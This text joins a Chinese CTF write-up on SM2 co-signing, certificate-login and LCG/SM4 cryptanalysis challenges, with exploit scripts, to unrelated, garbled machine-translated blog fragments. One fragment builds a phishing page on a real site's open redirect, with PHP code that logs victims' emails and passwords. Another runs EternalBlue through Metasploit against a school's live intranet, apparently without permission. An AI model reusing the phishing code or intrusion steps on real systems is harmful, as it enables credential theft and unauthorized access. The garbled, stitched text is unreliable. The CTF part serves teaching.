nv20fcl2edc11808.png生成随机数k2、k3,并计算:
trdxk41zd3311821.png计算r:
1th54u0vj1211834.png计算s2、s3:hga5l2n0et211843.png
返回r、s2、s3

整个步骤就是看注释一步步梳理出来的,我们的目的是算出d2来,而s2、s3中一共有三个变量d2、k2、k3,并不足以求出所有未知数,所以可能需要利用r再构造一个等式才行。

然而这个题藏了个相当阴的地方,仔细观察可以发现一行代码:

BN_copy(k3, k2)

这也就是说k3=k2,因此未知数实际上就只有两个,所以很轻松就可以拿到d2了XD。

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
e = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
p1x = "3e8eda67c5f1b70ac1950f615c2c4e0b0fe2544823ac96cb127ba318d96b4f5"
p1y = "ab1bbde72e7d1ef42e0c9d18d44a10e7250a0dfea98194f2d8d591b355fc636"
q1x = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
q1y = "faef1f853c095d6de79ba9ad9a2026d742042116b38b1c672ae67c7c7e9e762d"
r1 = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
s1 = "6c1bfef8bacf4f9c8bc4703c66458715475e50d17ba84f666372b4f4c364e16f"
r = "C987C22813DD2D0537433FF583C84B047E0313DCA072E187ACBB5A638D4E2BC0"
s2 = "E1E08110628EEB528DC26AA117AFEF8613B1D22EBFD77A9F42524CEFEB57F676"
s3 = "758CBCCFADFB5078DB26DF382A179C9AFDE1D0617D92EC5496F67380162235B6"

tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3 = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)
u1 = e * inverse(s1, n) % n
u2 = r1 * inverse(s1, n) % n
T = u1*G + u2*P1
x_, y_ = T.xy()
assert r1 == x_
x1 = r - e

d2 = (s3-s2)*inverse(r,n) % n
print(hex(d2))

#flag2{a61bdbacbad62b141284a6955b14a27df01c09984e23785ec75b5e5c79e18f62}



flag3(500 pts)

题目:

login.go:

package controllers

import (
"crypto/ecdsa"
"encoding/hex"
"encoding/pem"
"fmt"
jwtgo "github.com/dgrijalva/jwt-go"
"github.com/gin-gonic/gin"
"github.com/tjfoc/gmsm/sm2"
"github.com/tjfoc/gmsm/x509"
"http_svr/config"
"http_svr/models"
"http_svr/utils"
"math/big"
"net/http"
"time"
)

// 加载证书
func loadCertificate(certPEM string) (*x509.Certificate, error) {
//certPEM := "-----BEGIN CERTIFICATE-----\nMIIBQDCB6KADAgECAgECMAoGCCqBHM9VAYN1MBIxEDAOBgNVBAoTB1Jvb3QgQ0Ew\nHhcNMjQwNzI0MDkyMTI5WhcNMjUwNzI0MDkyMTI5WjAaMRgwFgYDVQQKEw9NeSBP\ncmdhbml6YXRpb24wWTATBgcqhkjOPQIBBggqgRzPVQGCLQNCAASlPepwTvt5c4rF\nEsg1Mqs+Tyx/BwRkwyWqDyZd/gBFKp7veuoZnGK11c24xPOqR/eQZNW7ugsZW6eb\nLyXSsE9ooycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nCgYIKoEcz1UBg3UDRwAwRAIgG4/snkgUCW819OotUWUfMOo0BzHX8KeTTUSLpIjy\nEO4CIEq6X7h3nVNeFzdtLWdy5+1MeNwsWawHU5YzITsNtqOe\n-----END CERTIFICATE-----\n"
block, _ := pem.Decode([]byte(certPEM))
if block == nil || block.Type != "CERTIFICATE" {
return nil, fmt.Errorf("无效的证书格式")
}

return x509.ParseCertificate(block.Bytes)
}

// 验证证书
func validateCertificate(cert *x509.Certificate, rootCert *x509.Certificate) error {
// 检查颁发者
if cert.Issuer.CommonName != rootCert.Subject.CommonName {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者组织
if len(cert.Issuer.Organization) != 1 || cert.Issuer.Organization[0] != rootCert.Subject.Organization[0] {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者国家
if len(cert.Issuer.Country) != 1 || cert.Issuer.Country[0] != rootCert.Subject.Country[0] {
return fmt.Errorf("证书校验失败")
}

// 检查有效日期
if time.Now().Before(cert.NotBefore) || time.Now().After(cert.NotAfter) {
return fmt.Errorf("证书校验失败")
}

// 检查组织
if len(cert.Subject.Organization) != 1 || cert.Subject.Organization[0] != "ShangMiBei" {
return fmt.Errorf("证书校验失败")
}

// 检查组织单元
if len(cert.Subject.OrganizationalUnit) != 1 || cert.Subject.OrganizationalUnit[0] != "ShangMiBei2024" {
return fmt.Errorf("证书校验失败")
}

// 检查国家
if len(cert.Subject.Country) != 1 || cert.Subject.Country[0] != "CN" {
return fmt.Errorf("证书校验失败")
}

// 创建证书链
roots := x509.NewCertPool()
roots.AddCert(rootCert)

opts := x509.VerifyOptions{
Roots: roots,
CurrentTime: time.Now(),
}

// 验证证书链
if _, err := cert.Verify(opts); err != nil {
return fmt.Errorf("证书链校验失败: %v", err)
}

return nil
}

type SM2Signature struct {
R, S *big.Int
}

// 验证签名
func validateSignature(message, signature string, publicKey *sm2.PublicKey) (bool, error) {
//rawSignatureHex, err := base64.StdEncoding.DecodeString(base64EncodedSignature)
hexSignature, err := hex.DecodeString(signature)
if err != nil {
return false, fmt.Errorf("invalid signature format")
}

isValid := publicKey.Verify([]byte(message), hexSignature)
if isValid {
return true, nil
} else {
return false, fmt.Errorf("signature is invalid")
}
}

// Login 登录
func Login(c *gin.Context, conf config.Config) {
// 解析请求参数
var req models.LoginReq
if err := c.ShouldBind(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 校验用户名是否已注册过
if _, exists := models.Users[req.Username]; !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "username not exists"})
return
}

// 校验随机字符串是否过期
randomStr, exists := conf.Cache.Get(req.Username)
if !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "random string has expired"})
return
}

// 校验证书
cert, err := loadCertificate(req.Cert)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateCertificate(cert, models.RootCert); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 判断是否挑战成功(随机字符串的签名能否用证书中的公钥验签过)
ecdsaPubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
if !ok {
c.JSON(http.StatusBadRequest, gin.H{"error": "public key in cert is not sm2"})
return
}
sm2PubKey := sm2.PublicKey{
Curve: ecdsaPubKey.Curve,
X: ecdsaPubKey.X,
Y: ecdsaPubKey.Y,
}
isValid, err := validateSignature(randomStr.(string), req.Signature, &sm2PubKey)
if isValid {
//c.JSON(http.StatusOK, gin.H{"msg": "success", "flag3": config.Flag3, "download_url": config.DownloadUrl})
generateToken2(c, req.Username, conf)
} else {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
}
}

// 生成令牌
func generateToken2(c *gin.Context, username string, conf config.Config) {
j := &utils.JWT{
SigningKey: []byte(conf.SignKey),
}
claims := utils.CustomClaims{
Name: username,
StandardClaims: jwtgo.StandardClaims{
NotBefore: time.Now().Unix() - conf.NotBeforeTime, // 签名生效时间
ExpiresAt: time.Now().Unix() + conf.ExpiresTime, // 过期时间
Issuer: conf.Issuer, // 签名的发行者
},
}

token, err := j.CreateToken(claims)
if err != nil {
c.JSON(http.StatusOK, gin.H{
"code": 5091,
"msg": "登录失败,系统有误",
})
return
}

// 将当前用户对应的缓存中的随机字符串删除
conf.Cache.Delete(username)

isAdmin := false
if username == "shangmibeiadmin" {
isAdmin = true
}
c.JSON(http.StatusOK, gin.H{
"code": 0,
"msg": "登录成功",
"token": token,
"is_admin": isAdmin,
})
return
}

数据库管理系统管理员证书.cer:

-----BEGIN CERTIFICATE-----
MIICXjCCAgWgAwIBAgIIatKGfgnOvYYwCgYIKoEcz1UBg3UwNjELMAkGA1UEBhMC
Q04xEzARBgNVBAoTClNoYW5nTWlCZWkxEjAQBgNVBAMTCVNoYW5nTWlDQTAeFw0y
NDA4MDUwNzUyMTdaFw0yNTEwMTAxMjAxMDFaMFUxEzARBgNVBAoTClNoYW5nTWlC
ZWkxFzAVBgNVBAsTDlNoYW5nTWlCZWkyMDI0MRgwFgYDVQQDEw9zaGFuZ21pYmVp
YWRtaW4xCzAJBgNVBAYTAkNOMFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEiHG2
LM9gsuJXiyo+0yDDZEVP1+3Qh+47g65eMeoUXoi0eUiGPvhehh4RaWacpVrQKJXQ
qzCqkR4n1B+7ZymwXqOB3TCB2jAOBgNVHQ8BAf8EBAMCA4gwHQYDVR0lBBYwFAYI
KwYBBQUHAwIGCCsGAQUFBwMBMA8GA1UdDgQIBAYBAgMEBQYwDwYDVR0jBAgwBoAE
AQIDBDAuBgNVHREEJzAlgQtnaXRAZ2l0LmNvbYcEfwAAAYcQIAFIYAAAIAEAAAAA
AAAAaDBXBgNVHR8EUDBOMCWgI6Ahhh9odHRwOi8vY3JsMS5leGFtcGxlLmNvbS9j
YTEuY3JsMCWgI6Ahhh9odHRwOi8vY3JsMi5leGFtcGxlLmNvbS9jYTEuY3JsMAoG
CCqBHM9VAYN1A0cAMEQCIEU8qEYGqgRTJPGI8YLRrpR7x3M2HzZOt377PwsnivGW
AiA67pgq6qfrhKsWc/B2VUqi2t+ZlK+iAM6D+Ai7NoqYSw==
-----END CERTIFICATE----

题目连接上之后有一个简易的网站,由于复现不了所以只能大致描述一下它的功能:

  • 有一个登录界面,可以输入用户名、私钥以及公钥文件,如果能通过login.go中的所有check就能成功登录
  • 还有一个注册界面,可以输入用户名和裸公钥,如果裸公钥格式正确,服务器就会用根证书发放一个完整公钥文件给你

我们的目标是用“shangmibeiadmin”成功登录,就可以拿到flag3的值以及flag4的源码。

已知的这个证书文件是个公钥文件,查看一下发现这个证书的用户就是“shangmibeiadmin”,所以如果我们能知道他的私钥的话就可以直接登录了。结合这个题只有500分这个事实,我第一反应是私钥相当小,可以直接爆出来,但是用mitm爆了2^50无果,所以只能从其他部分入手。

用gmssl这个工具可以比较轻松的生成一对公私钥证书,我们只需要把公钥里的裸公钥拆出来,然后自己随便生成个用户名就可以注册一个用户,并得到服务器颁发的公钥证书。

这里需要注意一下不能直接注册“shangmibeiadmin”,它会显示已注册

然后查看login.go可以发现他似乎根本没检验证书持有者是不是和用户名一样,所以按理来说接下来的步骤很简单,我们只需要在用户名一栏输入“shangmibeiadmin”,然后输入刚才我们生成的公私钥证书中的私钥,再输入刚才服务器下发的证书就可以成功登录。

然而我们实在是不熟悉gmssl乃至openssl这些工具,并且不出网,不能自由查找怎么使用,所以只能一直用help来看有什么参数可以用。我们遇到的最大问题是:gmssl必须要一个密码,才能生成sm2私钥文件,而这个私钥文件是用这个密码加密过的,但是我们怎么找都找不到怎么解密这个私钥文件并解析他。

这里花了很长很长时间,最后离比赛结束不到一小时的时候想了一个笨办法出来——直接去源码c文件里面加几行打印私钥d的文件,并重新编译一下再用这个工具:

image-20240906160617551

这个方法很笨但是确实有效,由于脑子有点混乱,也想不太清楚d具体该怎么拼,就用从前往后和从后往前两种顺序得到两个d,并用是否满足P=dG这个式子来进行核验,最后好歹是把自己生成的私钥d搞出来了:

from Crypto.Util.number import *
from tqdm import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)

t = "3059301306072a8648ce3d020106082a811ccf5501822d03420004ed7a7dce0e4e2e4b779f76b4ec407b8987ba5c3beba5cd454604e587fce0a17160b29510b2beb36e36470fba3ed6bd436049a0b588e931c71df6cf0b0d0e6407"
x1 = int(t[-128:-64], 16)
y1 = int(t[-64:], 16)

P = E(x1,y1)

dd = [12437958772606967559,9879664919779981675,172814172046494727,15816591967453487196]

d = (dd[3] << (64*3)) + (dd[2] << (64*2)) + (dd[1] << (64*1)) + (dd[0] << (64*0))
print(d)
print(hex(d))
print(d*G == P)

之后按刚才的方式就可以登录上网站拿到flag3以及flag4的源码。



flag4(1000 pts)

题目:

SM4加密解密代码.py:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

# 从文件中读取seed
def read_seed(file_path):
with open(file_path, 'r') as file:
seed = int(file.read().strip(), 16)
print("seed:", hex(seed))
return seed

global_seed = read_seed('seed.txt')

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)


print("############ SM4 Cryptographic Services Start... ###################")

iv_bytes = genSM4KeyOrIV()
print("iv hex:", BytesToHexString(iv_bytes))

key_bytes = genSM4KeyOrIV()
print("key hex:", BytesToHexString(key_bytes))

# 从test.pcapng读取数据并加密
with open('test.pcapng', 'rb') as f1:
plain1_bytes = f1.read()
cipher1_bytes = SM4Encrypt(plain1_bytes,key_bytes,iv_bytes)

# 写密文数据到cipherText.dat
with open('cipherText.dat', 'wb') as f2:
f2.write(cipher1_bytes)

# 从cipherText.dat读密文数据
with open('cipherText.dat', 'rb') as f3:
cipher2_bytes = f3.read()
plain2_bytes = SM4Decrypt(cipher2_bytes,key_bytes,iv_bytes)

# 解密密文并将明文写入到plainText.pcapng(含flag4)
with open('plainText.pcapng', 'wb') as f4:
f4.write(plain2_bytes)

总经理协同签名流量包加密使用的iv.txt:

90fc5cf2e2f47488a257fd51e0ae615

终于是一个python加密了,倍感亲切。题目主要流程是:

  • 读取seed.txt文件得到初始seed
  • 用genSM4KeyOrIV函数连续生成16字节的iv和key
  • 读取一个流量包文件,并用iv、key对流量包文件进行SM4加密
  • 给出密文文件以及iv,要求还原流量包

有古怪的地方只可能在genSM4KeyOrIV函数里,查看一下发现其是连续调用四次genRandom函数并拼接而成,而genRandom函数是:

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

可以看出这是一个LCG过程,其会返回seed迭代一千次之后的高32位。

我们知道IV,也就是我们知道连续四次迭代一千次之后的seed高位,这就变成了一个简单的HNP问题。由于LCG迭代过程可以写为如下矩阵乘法:

3ajpart5uqq11863.png

所以一千次迭代也就是:

dagtyn5xdpn11871.png

对于题目来说是已知高32位,那么以IV的第一个分组和第二个分组为例,式子就可以写成:


h0eqecamajc11876.png

所以对IV所有连续的两组用第一行对应的线性等式,就可以把问题转化成规约低32位的HNP问题了,得到所有低位之后就可以向后迭代得到key,从而恢复流量包。

exp:

get xl:

c = "90fc5cf2e2f47488a257fd51e0ae615b"

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff + 1
ITERATIONS = 1000

t1,t2,t3,t4 = c[:8],c[8:16],c[16:24],c[24:32]
res = [t1,t2,t3,t4]
t = [int(i,16) for i in res]

##################################################
M = Matrix(Zmod(MASK),[
[MULTIPLIER,1],
[0,1]
])
Mn = M^ITERATIONS
a,b = Mn[0]
a,b = int(a),int(b)

nums = 4
L = Matrix(ZZ,2*nums,2*nums)
for i in range(nums+1):
L[i,i] = 1
for i in range(nums-1):
L[i,nums+i+1] = a
L[i+1,nums+i+1] = -1
c = a*2^32*t[i] - 2^32*t[i+1] + b
L[nums,nums+i+1] = c
L[nums,nums] = 2^32
for i in range(nums-1):
L[-i-1,-i-1] = MASK
L[:,-(nums-1):] *= MASK

res = L.LLL()[0][:4]
print(res)

decrypt:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

global_seed = 0 # TODO
iv_high = 0xe0ae615b
iv_low = 187714221
iv_last = (iv_high << 32) + iv_low
global_seed = iv_last

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)

iv_bytes = HexStringToBytes("90fc5cf2e2f47488a257fd51e0ae615b")
key_bytes = genSM4KeyOrIV()
print(key_bytes)

with open("总经理协同签名流量包(加密后的文件).dat", "rb") as fp:
cipher_bytes = fp.read()
plain_bytes = SM4Decrypt(cipher_bytes, key_bytes, iv_bytes)

with open("plainText.pcapng", "wb") as fp:
fp.write(plain_bytes)

然后就可以在流量包里找到flag4。

3fbak5u1zaz11888.png


最终挑战 *

在比赛还是不到半分钟的时候,我们队才惊险地交上flag4,完全没有时间看最终挑战了,因此只能赛后复现一下。

flag4的流量包跟踪TCP流,可以看到里面有以下内容:

image-20240906162944644

除了flag4外,剩下的数据很显然是和flag2的协同签名有关的,而相比于flag2来说,这里多给了一个client_sign字段的值,再回头看看.js文件可以发现这是clientSign2函数的返回值,其流程为:

在clientSign1的过程里会生成一个随机数k1,满足:apepf5mp50p11899.png
  • 传入未知的用户私钥d1,以及已知的s2、s3、r
计算s:
nb44rvroike11907.png

可以看出s1、s的生成等式其实分别就是关于d1、k1的两个变量的方程,所以就可以解出d1了。而我们的目的是伪造一个签名,解出d1之后走一遍协同签名的流程就好了,自然也就没有难度。

没有交互部分了,但可以用d1联系的两个点来检验d1的正确性

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
q1x = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
q1y = "79a9748598cc2886b09fa856b9806b8789b8a719f6a969e2f08da35ea997bc5d"
e = "eaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6"
r1 = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
s1 = "47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05"
p1x = "4c84b1cf8e9255c9385c07c2bf3426a9497d49e2b33c328ab02c4aed8b021bad"
p1y = "8a3e40da9d3423f27be30eebb2e4e11999e565be0def197fe1bcf4f6b724b471"

r = "8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4"
s2 = "B54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45"
s3 = "B50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D"

s = "cb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158"


tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)

################################################################################# solve d1
PR.<k1,d1> = PolynomialRing(Zmod(n))
f1 = (s1*k1 - e)*d1 - r1
f2 = d1*k1*s2 + d1*s3 - r - s
res = f1.sylvester_matrix(f2, k1).det().univariate_polynomial().monic().roots()
d1 = int(res[1][0])

print(d1*P1 == G)

   或者

from sage.all import *

a = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC
b = 0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93
p = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
x = 0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7
y = 0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0
E = EllipticCurve(GF(p), [a, b])
G = E(x, y)

s = 0xcb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158

r = 0x8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4
s2 = 0xB54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45
s3 = 0xB50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D

e = 0xeaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6
r1 = 0x125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26
s1 = 0x47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05

d2 = ZZ((s3 - s2) * inverse_mod(r, n) % n)

'''
s1*k1-e = d1^(-1) * r1
r1 = d1*(s1*k1-e)
r1 = d1*k1 * s1 - d1*e
s = d1*k1*s2 + d1*s3 -r
s*s1 = d1*k1*s1 * s2 + d1*s3*s1 - r*s1
s*s1 = (r1+d1*e)*s2 + d1 * s3*s1 - r*s1
'''
R = PolynomialRing(GF(n), 'x')
x = R.gens()[0]
f = (r1 + x*e)*s2 + x*s3*s1 - r*s1 - s*s1
ans = f.roots()

d1 = 90919127323695568397119051689582862352296983775157729258730148362152821090405
d2 = 75133153874808200698750375741973887146735262423059242244009334005845482114914
e = 0x9e810778a6b177c6aa1799365977adfbeef605c19b5ea917527d1541c1339019

k1 = 233
P = inverse_mod(d1, n) * G
Q = k1*G
r1 = ZZ(Q.xy()[0])
s1 = ZZ(inverse_mod(k1, n) * (e + inverse_mod(d1, n) * r1) % n)

k2 = 17
k3 = 71
R = k2*G + k3*Q
x1 = ZZ(R.xy()[0])
r = ZZ((e + x1) % n)
s2 = ZZ(d2 * k3 % n)
s3 = ZZ(d2 * (r+k2) % n)

s = (d1*k1*s2 + d1*s3 - r) % n
print(s)
print(hex(r)[2:])
print(hex(s)[2:])




来源: https://tangcuxiaojikuai.xyz/post/6452f9a0.html

漏洞本身并不有害,一点点使用它很有趣。

010-10圆圈社区登录主页默认链接:https://www.secquan.org/login?jump=AHR0CHM6LY93D3CUC2VJCXVHBI5VCMC=

在上面的红色框中跳转后,基本64的内容为:3https://www.secquan.org

在这里,从https://www.baidu.com替换Base64加密的内容,构建的链接是:

https://www.secquan.org/login?jump=Ahr0chm6ly93d3cuymfpzhuuy29t

登录成功后,它将自动跳到百度。

2

漏洞详细信息

3

使用IDEA

实用使用

(有限的能力,不完美,但看起来像这样):

访问构造的网络钓鱼链接并在正常的

中登录

※QQ 4在以下所有测试中都进行了测试

实际上,默认情况下,URL显示了弹出窗口中的标题,这意味着地址直接暴露。添加一块JS来重写警报方法。

1234567891011ScriptWindow.alert=function(name){var iframe=document.createelement('iframe'); iframe.style.style.display='none'; iframe'; iframe.setAttribute('src',src',src',src', 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);}alert('Account exception, please log in again');/script

第一次查看页面跳跃

时弹出窗口的效果

Ctrl+S saved the static page of the homepage of the community本地登录,并进行了一些修改(与接收帐户密码的PHP文件结合使用)。一段时间后,我发现无法调用验证代码,因此我只是直接将其删除。我觉得这个验证代码是最失败的地方。

5

主页上的成品是这样的(几乎没有被迫做假的和真实的)

1234567?php $ email=$ _ post ['email']; $ password=$ _ post ['password']; $ result=$ email。 file_put_contents('fish.txt',$ result.php_eol,file_append); echo'scriptwindow.location.href='3https://www.secquan.org'/script';

只需写一个PHP页面即可在后台接收帐户密码

6

最后,用户输入的内容写入同一目录中的fish.txt,该页面被重定向到https://www.secquan.org。由于先前的成功登录会话仍在那里,因此直接登录。

他自己的学校“涂黑”可能是学生在学生中大多数黑人富裕学生的普遍痴迷。

前言:

一时兴起,我突然想看看学校是否可以使用永恒的蓝色击落机器,顺便说一句,我想看看Intranet渗透是否渗透了。当刚刚揭示了永恒的蓝色利用工具时,我想到了最后一个测试。当时,MSF尚未集成,因此直接使用MSF更加方便。

信息收集:

已知10.10.10.0/24 IPS用于学校的各种服务器

使用MSF中的批处理MS17_010验证模块:

123456MSF5使用辅助/扫描仪/smb/smb/smb/smb/smb/smb_ms17_010 msf5辅助(scanner/smb/smb/smb/smb/smb/smb/smb/smb/smb_ms17_010)set rhosts 10.10.0.0.0.10.10.10.10.10.254rhost=10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.254MSF5辅助(scanner/smb/smb/smb_ms17_010)设置线程20 threads=20msf5辅助(scanner/smb/smb/smb/smb/smb/smb_ms17_010)exploit扫描的结果如下

2

漏洞开发:

获取CMDShell

IP为10.10.10.104(2008 x64)的主机可以成功使用:

此主机的关键信息:端口8080正在运行Tomcat的服务,端口3389不打开,3306正在运行MySQL服务,暂时未考虑其他端口。

123456789111121314151617192021222222222426MMSF5使用Exploit/windows/windows/smb/msb/ms17_010_eternalblue msf5 exploit(windows/smb/smb/ms17_010_eternalblue) (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain .否(可选)用于身份验证的Windows域SmbPass no(可选)指定用户名Smbuser no(可选)用户名为VERIFY_ARCH true是的,请检查远程体系结构是否与Exploit target.exploit Target : ID名称---- 0 Windows 7 Windows 7和Server 2008 R2(x64 R2) exploit(Windows/SMB/MS17_010_ETERNALBLUE)设置RHOST 10.10.10.10.104RHOSTS=10.10.10.10.10.104MSF5 EXPLOIT(Windows/SMB/MS17_010_ETERNALBLUE)运行以下图成功返回了CMDSHELL,并且还可以直接返回系统权限。但是,任务清单/SVC查看当前过程并具有360个主动防御,这更加令人困惑。根据原则,应将其阻止。也许我很幸运2333:

3

cmdshell升级仪表台(失败)

由于CMDShell不像MeterPreter(MeterPreter具有相对功能强大的功能)那样容易使用,因此请尝试升级到MeterPreter

第一个方法:

12345678911112131415MSF5 exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用POST/MULTI/MALTI/MANCAN/MANCAN/SHELL/SHELP_TO_METERPRETER MSF5 POST(multi/shell_to_to_to_meter) ------------------------------------------------ true是启动一个漏洞/多/处理程序,以接收接收有效载荷连接的主机的连接lhost lhost no IP(将尝试自动检测)。 LPORT 4433是有效载荷连接到的端口。会话是的会话会话。

1件-U 1,我不知道为什么失败(更改想法):

4

远程文件下载:

Windows随附的远程文件下载功能非常强大,因此您可以下载所需的任何内容。

